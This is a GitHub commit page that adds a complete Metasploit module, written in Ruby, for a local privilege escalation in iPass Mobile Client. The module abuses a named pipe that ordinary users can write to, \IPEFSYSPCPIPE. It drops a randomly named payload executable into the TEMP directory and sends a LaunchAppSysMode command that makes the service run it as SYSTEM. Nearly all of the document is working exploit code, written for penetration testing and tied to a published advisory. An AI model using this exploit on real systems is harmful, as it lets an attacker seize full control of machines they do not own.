Skip to content

Commit 1ead57a

Browse files
committed
Land rapid7#4928, @h0ng10's local exploit for iPass Mobile Client
2 parents 74ee2d8 + 9894a3d commit 1ead57a

File tree

1 file changed

+181
-0
lines changed

1 file changed

+181
-0
lines changed
Lines changed: 181 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,181 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class Metasploit3 < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::EXE
10+
include Msf::Post::File
11+
include Msf::Exploit::FileDropper
12+
include Msf::Post::Windows::Priv
13+
include Msf::Post::Windows::Services
14+
15+
def initialize(info={})
16+
super(update_info(info, {
17+
'Name' => 'iPass Mobile Client Service Privilege Escalation',
18+
'Description' => %q{
19+
The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact
20+
with the iPass service. The service provides a LaunchAppSysMode command which
21+
allows to execute arbitrary commands as SYSTEM.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'h0ng10' # Vulnerability discovery, metasploit module
27+
],
28+
'Arch' => ARCH_X86,
29+
'Platform' => 'win',
30+
'SessionTypes' => ['meterpreter'],
31+
'DefaultOptions' =>
32+
{
33+
'EXITFUNC' => 'thread',
34+
},
35+
'Targets' =>
36+
[
37+
[ 'Windows', { } ]
38+
],
39+
'Payload' =>
40+
{
41+
'Space' => 2048,
42+
'DisableNops' => true
43+
},
44+
'References' =>
45+
[
46+
['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt']
47+
],
48+
'DisclosureDate' => 'Mar 12 2015',
49+
'DefaultTarget' => 0
50+
}))
51+
52+
register_options([
53+
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)'])
54+
], self.class)
55+
56+
end
57+
58+
def check
59+
os = sysinfo['OS']
60+
61+
unless os =~ /windows/i
62+
return Exploit::CheckCode::Safe
63+
end
64+
65+
svc = service_info('iPlatformService')
66+
if svc && svc[:display] =~ /iPlatformService/
67+
vprint_good("Found service '#{svc[:display]}'")
68+
if is_running?
69+
vprint_good('Service is running')
70+
else
71+
vprint_error('Service is not running!')
72+
end
73+
74+
vprint_good('Opening named pipe...')
75+
handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE')
76+
77+
if handle.nil?
78+
vprint_error('\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found')
79+
return Exploit::CheckCode::Safe
80+
else
81+
vprint_good('\\\\.\\pipe\\IPEFSYSPCPIPE found!')
82+
session.railgun.kernel32.CloseHandle(handle)
83+
end
84+
85+
return Exploit::CheckCode::Vulnerable
86+
else
87+
return Exploit::CheckCode::Safe
88+
end
89+
end
90+
91+
92+
def open_named_pipe(pipe)
93+
invalid_handle_value = 0xFFFFFFFF
94+
95+
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
96+
handle = r['return']
97+
98+
return nil if handle == invalid_handle_value
99+
100+
handle
101+
end
102+
103+
def write_named_pipe(handle, command)
104+
buffer = Rex::Text.to_unicode(command)
105+
w = client.railgun.kernel32.WriteFile(handle, buffer, buffer.length, 4, nil)
106+
107+
if w['return'] == false
108+
print_error('The was an error writing to pipe, check permissions')
109+
return false
110+
end
111+
112+
true
113+
end
114+
115+
116+
def is_running?
117+
begin
118+
status = service_status('iPlatformService')
119+
rescue RuntimeError => e
120+
print_error('Unable to retrieve service status')
121+
return false
122+
end
123+
124+
return status && status[:state] == 4
125+
end
126+
127+
def exploit
128+
if is_system?
129+
fail_with(Failure::NoTarget, 'Session is already elevated')
130+
end
131+
132+
handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE")
133+
134+
if handle.nil?
135+
fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found")
136+
else
137+
print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...")
138+
end
139+
140+
if datastore['WritableDir'] and not datastore['WritableDir'].empty?
141+
temp_dir = datastore['WritableDir']
142+
else
143+
temp_dir = client.sys.config.getenv('TEMP')
144+
end
145+
146+
print_status("Using #{temp_dir} to drop malicious exe")
147+
148+
begin
149+
cd(temp_dir)
150+
rescue Rex::Post::Meterpreter::RequestError
151+
session.railgun.kernel32.CloseHandle(handle)
152+
fail_with(Failure::Config, "Failed to use the #{temp_dir} directory")
153+
end
154+
155+
print_status('Writing malicious exe to remote filesystem')
156+
write_path = pwd
157+
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
158+
159+
begin
160+
write_file(exe_name, generate_payload_exe)
161+
register_file_for_cleanup("#{write_path}\\#{exe_name}")
162+
rescue Rex::Post::Meterpreter::RequestError
163+
session.railgun.kernel32.CloseHandle(handle)
164+
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
165+
end
166+
167+
print_status('Sending LauchAppSysMode command')
168+
169+
begin
170+
write_res = write_named_pipe(handle, "iPass.EventsAction.LaunchAppSysMode #{write_path}\\#{exe_name};;;")
171+
rescue Rex::Post::Meterpreter::RequestError
172+
session.railgun.kernel32.CloseHandle(handle)
173+
fail_with(Failure::Unknown, 'Failed to write to pipe')
174+
end
175+
176+
unless write_res
177+
fail_with(Failure::Unknown, 'Failed to write to pipe')
178+
end
179+
end
180+
181+
end

0 commit comments

Comments
 (0)